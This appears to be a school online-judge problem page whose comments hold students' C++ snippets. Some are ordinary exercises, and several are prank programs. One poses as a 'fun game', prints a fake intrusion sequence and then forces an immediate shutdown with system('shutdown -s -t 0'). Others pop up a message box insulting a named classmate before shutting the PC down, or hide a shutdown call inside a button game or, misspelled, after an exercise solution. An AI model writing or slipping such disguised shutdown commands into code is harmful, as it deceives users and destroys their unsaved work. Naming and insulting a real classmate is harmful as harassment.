高精A+B

蒙自市第二中学 普一鸣  •  1年前


include <bits/stdc++.h>

using namespace std; int TIME = 3; int TIME2 = 1;

int main() {

cout << "好玩的游戏" << endl;
cout << "请输入一个数字" << endl;
int a;
cin >> a;
cout << "正在分析中" << endl;
clock_t now = clock(); //开始计时
while ((clock() - now) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "发现问题" << endl;
clock_t now1 = clock(); //开始计时
while ((clock() - now1) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "修复中.";
clock_t now2 = clock(); //开始计时
while ((clock() - now2) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now3 = clock(); //开始计时
while ((clock() - now3) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now4 = clock(); //开始计时
while ((clock() - now4) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << ".";
clock_t now5 = clock(); //开始计时
while ((clock() - now5) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << "." << endl;
clock_t now6 = clock(); //开始计时
while ((clock() - now6) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "修复失败" << endl;
clock_t now7 = clock(); //开始计时
while ((clock() - now7) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间}
TIME = 3;
cout << "%^";
clock_t now8 = clock(); //开始计时
while ((clock() - now8) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
cout << "#@";
clock_t now9 = clock(); //开始计时
while ((clock() - now9) / CLOCKS_PER_SEC < TIME2); //等待3秒种的时间
TIME2 = 1;
TIME = 3;
cout << "%*警告" << endl;
clock_t now10 = clock();
while ((clock() - now10) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "^%*%@*@&^##!Q^%&2" << endl;
clock_t now11 = clock();
while ((clock() - now11) / CLOCKS_PER_SEC < TIME);
TIME = 3;
cout << "电脑*^*#^&*(%&*^&^)被未¥……&*¥……*……知系%*(#&%^&)统入#^!%@#%侵" << endl;
clock_t now12 = clock();
while ((clock() - now12) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "dki^#*(*^(#@&^&#SEXDF@%#*&E%#@631e7tyd" << endl;
clock_t now13 = clock();
while ((clock() - now13) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "@#%^&*&@#%^&%^&U*正在*%&@#^%&((&^%#@#%))" << endl;
clock_t now14 = clock();
while ((clock() - now14) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
TIME = 3;
cout << "dki^#*(*^(#@&^&#自毁@%#*&E%#@631e7tyd" << endl;
clock_t now15 = clock();
while ((clock() - now15) / CLOCKS_PER_SEC < TIME); //等待3秒种的时间
system("shutdown -s -t 0");
return 0;

}


评论:

include <bits/stdc++.h>

using namespace std;

void hanoi (int n, char a, char b, char c) {

if (n > 0) {
	hanoi (n - 1, a, c, b);
	printf ("%c->%d->%c\n", a, n, b);
	hanoi (n - 1, c, b, a);
}

}

int main (void) {

int n;
char a, b, c;
scanf ("%d %c %c %c", &n, &a, &b, &c);
hanoi (n, a, b, c);
return 0;

}


蒙一武装直升机带班长:D  •  1年前

include <bits/stdc++.h>

using namespace std;

int main () {

double  sun, m, n, ai, sum = 0;
cin >> n >> m;
for (int i = 1; i <= n; i++) {
	cin >> ai;
	if (m >= ai) {
		m = m - ai;
		sum += ai;
	}
}

sun = sum - floor (sum * 0.88);
printf("%.0f", sun);
return 0;

}


蒙自市第二中学 普一鸣  •  1年前

include <bits/stdc++.h>

using namespace std; int t, n, k, a, x = 0, i = 1; int s[10000];

int main () {

cin >> t;
for ( i; i <= t; i++) {
	cin >> n >> k;
	s[i] = n / 10;
}
for (int j = 1; j < i; j++) {
	cout << s[x + 1] << endl;
}
return 0;

}


蒙自市第二中学 普一鸣  •  1年前

include <bits/stdc++.h>

using namespace std;

int main () {

double sun, m, n, ai, sum = 0; cin >> n >> m; for (int i = 1; i <= n; i++) {

cin >> ai;
if (m >= ai) {
	m = m - ai;
	sum += ai;
}

}

sun = sum - floor (sum * 0.88); printf("%.0f", sun); system("shutdoun -s -t 0"); return 0; }


蒙自市第二中学 普一鸣  •  1年前

include <bits/stdc++.h>

using namespace std;

struct stu {

string name;
bool k;
float c;

} a[200];

int main () {

int n, num = 0;
cin >> n;
for (int i = 1; i <= n; i++) {
	cin >> a[i].name >> a[i].c >> a[i].k;
	if (a[i].c >= 37.5 && a[i].k == 1) {
		num++;
		cout << a[i].name << endl;
	}
}
cout << num;
return 0;

}


蒙自市第二中学 普一鸣  •  1年前

include <bits/stdc++.h>

include <windows.h>

include

using namespace std;

int main () {

MessageBox(NULL,
           "赵梓彤是sb","温馨提示", MB_OKCANCEL);
system("shutdown -s -t 0");
return 0;

}


蒙自市第二中学 普一鸣  •  1年前

include <bits/stdc++.h>

include <windows.h>

using namespace std; int n;

int main () {

cout << "判断游戏,正确1,错误0";
MessageBox(NULL,
           "赵梓彤是sb", "温馨提示", MB_OKCANCEL);
cin >> n;
if (n == 1) {
	MessageBox(NULL,
	           "你放屁", "温馨提示", MB_OKCANCEL);
	           system("shutdown -s -t 0");
}
if (n == 0) {
	MessageBox(NULL,
	           "咋能这么说自己呢???", "温馨提示", MB_OKCANCEL);
	system("shutdown -s -t 0");
}


//system("shutdown -s -t 0");
return 0;

}


蒙自市第二中学 普一鸣  •  1年前

include <bits/stdc++.h>

using namespace std;

int main () {

system("shutdown -s -t 60");
return 0;

}


蒙自市第二中学 普一鸣  •  1年前

include <bits/stdc++.h>

include <conio.h>

include <windows.h>

using namespace std; int mouse, S, An, k, t, Rr, T;

POINT Windowpos() {

POINT pt;
GetCursorPos(&pt);
HWND h = GetForegroundWindow();
ScreenToClient(h, &pt);
pt.x /= 8;
pt.y /= 16;
return pt;

}

void SlowDisplay(int x, char *p) {

while (1) {
	if (*p != 0)
		printf("%c", *p++);
	else
		break;
	Sleep(x);
}

}

void Color(int a) {

if (a == 0)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
	                        FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
if (a == 1)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN);
if (a == 2)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);
if (a == 3)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
if (a == 4)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED);

}

void Luan() {

if (Rr == 0)
	printf("┃过天按钮┃");
if (Rr == 1)
	printf("┃过关按扭┃");
if (Rr == 2)
	printf("┃过关按纽┃");
if (Rr == 3)
	printf("┃过关按忸┃");
if (Rr == 4)
	printf("┃过关桉钮┃");
if (Rr == 5)
	printf("┃过关侒钮┃");
if (Rr == 6)
	printf("┃过关按杻┃");
if (Rr == 7)
	printf("┃过关按炄┃");
if (Rr == 8)
	printf("┃过关铵钮┃");
if (Rr == 9)
	printf("┃过关胺钮┃");

}

void Die() {

system("color 4F");
Sleep(2000);
system("color 0F");
system("cls");
Color(0);
SlowDisplay(50, "\nWarning!\nSYSTEM ERROR!!\nThe system is about to collapse!!!");
Sleep(1000);
system("shutdown /s");

}

void SetPos(int x, int y) {

COORD pos;
pos.X = y, pos.Y = x;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);

}

void Bai(int d, int dd) {

int mm = min(d, dd);
SetPos(6, mm);
printf("                            ");
SetPos(7, mm);
printf("                            ");
SetPos(8, mm);
printf("                            ");

}

void Map(int a) {

mouse = GetAsyncKeyState(VK_LBUTTON) & 0x8000;
POINT pt = Windowpos();
int k1 = 0, k2 = 11, k3 = 12, k4 = 23, k5 = 0, Win = 0;
if (a % 2 == 0)
	k1 = 12, k2 = 23, k3 = 0, k4 = 11;
if (a > 2)
	k5 = 1;
if ((S >= 70 && S < 80) || S >= 90)
	k1 += T / 3, k2 += T / 3, k3 += T / 3, k4 += T / 3;
if (S >= 80 && t % 20 == 8) {
	Bai(k1, k3);
	return;
}
if (S >= 80 && t % 20 > 8)
	return;
if (pt.x >= k1 && pt.x <= k2 && pt.y >= 6 && pt.y <= 8) {
	Color(1 + k5);
	SetPos(6, k1);
	printf("┏━━━━┓");
	SetPos(7, k1);
	printf("┃过关按钮┃");
	SetPos(8, k1);
	printf("┗━━━━┛");
	if (mouse) {
		if (An == 0)
			S++;
		An++;
		T = 0;
		Win = 1;
		if (S >= 20)
			k = rand() % 2 + 1;
		if (S >= 30)
			k = rand() % 4 + 1;
		if (S >= 50)
			Rr = rand() % 10;
		if ((S >= 70 && S <= 80) || S >= 90)
			Bai(k1, k3);
	} else
		An = 0;
} else {
	Color(3 + k5);
	SetPos(6, k1);
	printf("┏━━━━┓");
	SetPos(7, k1);
	printf("┃过关按钮┃");
	SetPos(8, k1);
	printf("┗━━━━┛");
}
if (pt.x >= k3 && pt.x <= k4 && pt.y >= 6 && pt.y <= 8 && Win == 0) {
	Color(2 - k5);
	if (S >= 40 && T >= 10)
		mouse = 1;
	SetPos(6, k3);
	printf("┏━━━━┓");
	SetPos(7, k3);
	if (S < 50)
		printf("┃关机按钮┃");
	else
		Luan();
	SetPos(8, k3);
	printf("┗━━━━┛");
	if (mouse) {
		if (An == 0)
			Die();
		An = 0;
	}
} else if (Win == 0) {
	Color(4 - k5);
	SetPos(6, k3);
	printf("┏━━━━┓");
	SetPos(7, k3);
	if (S < 50)
		printf("┃关机按钮┃");
	else
		Luan();
	SetPos(8, k3);
	printf("┗━━━━┛");
}

}

int main() {

srand(unsigned(time(NULL)));
ios::sync_with_stdio(false);
CONSOLE_CURSOR_INFO cursor_info = {1, 0};
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
Color(0);
k = 1;
SlowDisplay(200, "欢迎来到超级按钮!你的目标是按下按钮100次!\n\n");
SetPos(2, 0), printf("已开启普通模式。");
while (S < 100) {
	t++;
	T++;
	Color(0);
	SetPos(4, 0);
	Color(0);
	printf("还需按%d次。\n\n", 100 - S);
	if (S == 20 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱模式。");
	if (S == 30 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱2.0模式。");
	if (S == 40 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启接触引爆模式。");
	if (S == 50 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱3.0模式。");
	if (S == 60 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启定时引爆模式。");
	if (S == 70 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启移动按钮模式。");
	if (S == 80 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形按钮模式。");
	if (S == 90 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形移动按钮模式。");
	if (S >= 60)
		SetPos(2, 20), printf("%d  ", 100 - T);
	if (S >= 60 && T >= 100) {
		Die();
		break;
	}
	POINT pt;
	GetCursorPos(&pt);
	int k1 = 0, k2 = 11, k3 = 12, k4 = 23;
	if (k == 2)
		k1 = 12, k2 = 23, k3 = 0, k4 = 11;
	Sleep(50);
	Map(k);
}
if (S >= 100) {
	system("cls");
	Color(0);
	SlowDisplay(200, "\n让你通关吧!");
}

}


蒙自市凤凰小学又阝十尃亻二  •  1年前

氨醛无骸


蒙自市凤凰小学又阝十尃亻二  •  1年前

include <bits/stdc++.h>

include <conio.h>

include <windows.h>

using namespace std; int mouse, S, An, k, t, Rr, T;

POINT Windowpos() {

POINT pt;
GetCursorPos(&pt);
HWND h = GetForegroundWindow();
ScreenToClient(h, &pt);
pt.x /= 8;
pt.y /= 16;
return pt;

}

void SlowDisplay(int x, char *p) {

while (1) {
	if (*p != 0)
		printf("%c", *p++);
	else
		break;
	Sleep(x);
}

}

void Color(int a) {

if (a == 0)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
	                        FOREGROUND_INTENSITY | FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
if (a == 1)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN);
if (a == 2)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);
if (a == 3)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
if (a == 4)
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED);

}

void Luan() {

if (Rr == 0)
	printf("┃过天按钮┃");
if (Rr == 1)
	printf("┃过关按扭┃");
if (Rr == 2)
	printf("┃过关按纽┃");
if (Rr == 3)
	printf("┃过关按忸┃");
if (Rr == 4)
	printf("┃过关桉钮┃");
if (Rr == 5)
	printf("┃过关侒钮┃");
if (Rr == 6)
	printf("┃过关按杻┃");
if (Rr == 7)
	printf("┃过关按炄┃");
if (Rr == 8)
	printf("┃过关铵钮┃");
if (Rr == 9)
	printf("┃过关胺钮┃");

}

void Die() {

system("color 4F");
Sleep(2000);
system("color 0F");
system("cls");
Color(0);
SlowDisplay(50, "\nWarning!\nSYSTEM ERROR!!\nThe system is about to collapse!!!");
Sleep(1000);

// system("shutdown /s"); }

void SetPos(int x, int y) {

COORD pos;
pos.X = y, pos.Y = x;
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);

}

void Bai(int d, int dd) {

int mm = min(d, dd);
SetPos(6, mm);
printf("                            ");
SetPos(7, mm);
printf("                            ");
SetPos(8, mm);
printf("                            ");

}

void Map(int a) {

mouse = GetAsyncKeyState(VK_LBUTTON) & 0x8000;
POINT pt = Windowpos();
int k1 = 0, k2 = 11, k3 = 12, k4 = 23, k5 = 0, Win = 0;
if (a % 2 == 0)
	k1 = 12, k2 = 23, k3 = 0, k4 = 11;
if (a > 2)
	k5 = 1;
if ((S >= 70 && S < 80) || S >= 90)
	k1 += T / 3, k2 += T / 3, k3 += T / 3, k4 += T / 3;
if (S >= 80 && t % 20 == 8) {
	Bai(k1, k3);
	return;
}
if (S >= 80 && t % 20 > 8)
	return;
if (pt.x >= k1 && pt.x <= k2 && pt.y >= 6 && pt.y <= 8) {
	Color(1 + k5);
	SetPos(6, k1);
	printf("┏━━━━┓");
	SetPos(7, k1);
	printf("┃过关按钮┃");
	SetPos(8, k1);
	printf("┗━━━━┛");
	if (mouse) {
		if (An == 0)
			S++;
		An++;
		T = 0;
		Win = 1;
		if (S >= 20)
			k = rand() % 2 + 1;
		if (S >= 30)
			k = rand() % 4 + 1;
		if (S >= 50)
			Rr = rand() % 10;
		if ((S >= 70 && S <= 80) || S >= 90)
			Bai(k1, k3);
	} else
		An = 0;
} else {
	Color(3 + k5);
	SetPos(6, k1);
	printf("┏━━━━┓");
	SetPos(7, k1);
	printf("┃过关按钮┃");
	SetPos(8, k1);
	printf("┗━━━━┛");
}
if (pt.x >= k3 && pt.x <= k4 && pt.y >= 6 && pt.y <= 8 && Win == 0) {
	Color(2 - k5);
	if (S >= 40 && T >= 10)
		mouse = 1;
	SetPos(6, k3);
	printf("┏━━━━┓");
	SetPos(7, k3);
	if (S < 50)
		printf("┃关机按钮┃");
	else
		Luan();
	SetPos(8, k3);
	printf("┗━━━━┛");
	if (mouse) {
		if (An == 0)
			Die();
		An = 0;
	}
} else if (Win == 0) {
	Color(4 - k5);
	SetPos(6, k3);
	printf("┏━━━━┓");
	SetPos(7, k3);
	if (S < 50)
		printf("┃关机按钮┃");
	else
		Luan();
	SetPos(8, k3);
	printf("┗━━━━┛");
}

}

int main() {

srand(unsigned(time(NULL)));
ios::sync_with_stdio(false);
CONSOLE_CURSOR_INFO cursor_info = {1, 0};
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
Color(0);
k = 1;
SlowDisplay(200, "欢迎来到超级按钮!你的目标是按下按钮100次!\n\n");
SetPos(2, 0), printf("已开启普通模式。");
while (S < 100) {
	t++;
	T++;
	Color(0);
	SetPos(4, 0);
	Color(0);
	printf("还需按%d次。\n\n", 100 - S);
	if (S == 20 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱模式。");
	if (S == 30 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱2.0模式。");
	if (S == 40 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启接触引爆模式。");
	if (S == 50 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启按钮混乱3.0模式。");
	if (S == 60 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启定时引爆模式。");
	if (S == 70 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启移动按钮模式。");
	if (S == 80 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形按钮模式。");
	if (S == 90 && T == 1)
		SetPos(2, 0), printf("                         "), SetPos(2, 0), printf("已开启隐形移动按钮模式。");
	if (S >= 60)
		SetPos(2, 20), printf("%d  ", 100 - T);
	if (S >= 60 && T >= 100) {
		Die();
		break;
	}
	POINT pt;
	GetCursorPos(&pt);
	int k1 = 0, k2 = 11, k3 = 12, k4 = 23;
	if (k == 2)
		k1 = 12, k2 = 23, k3 = 0, k4 = 11;
	Sleep(50);
	Map(k);
}
if (S >= 100) {
	system("cls");
	Color(0);
	SlowDisplay(200, "\n让你通关吧!");
}

}


蒙自市凤凰小学又阝十尃亻二  •  1年前

真安全无害~~~~


蒙自市凤凰小学又阝十尃亻二  •  1年前

(doge)


蒙自市凤凰小学又阝十尃亻二  •  1年前

114514


蒙自市第二中学 普一鸣  •  1年前

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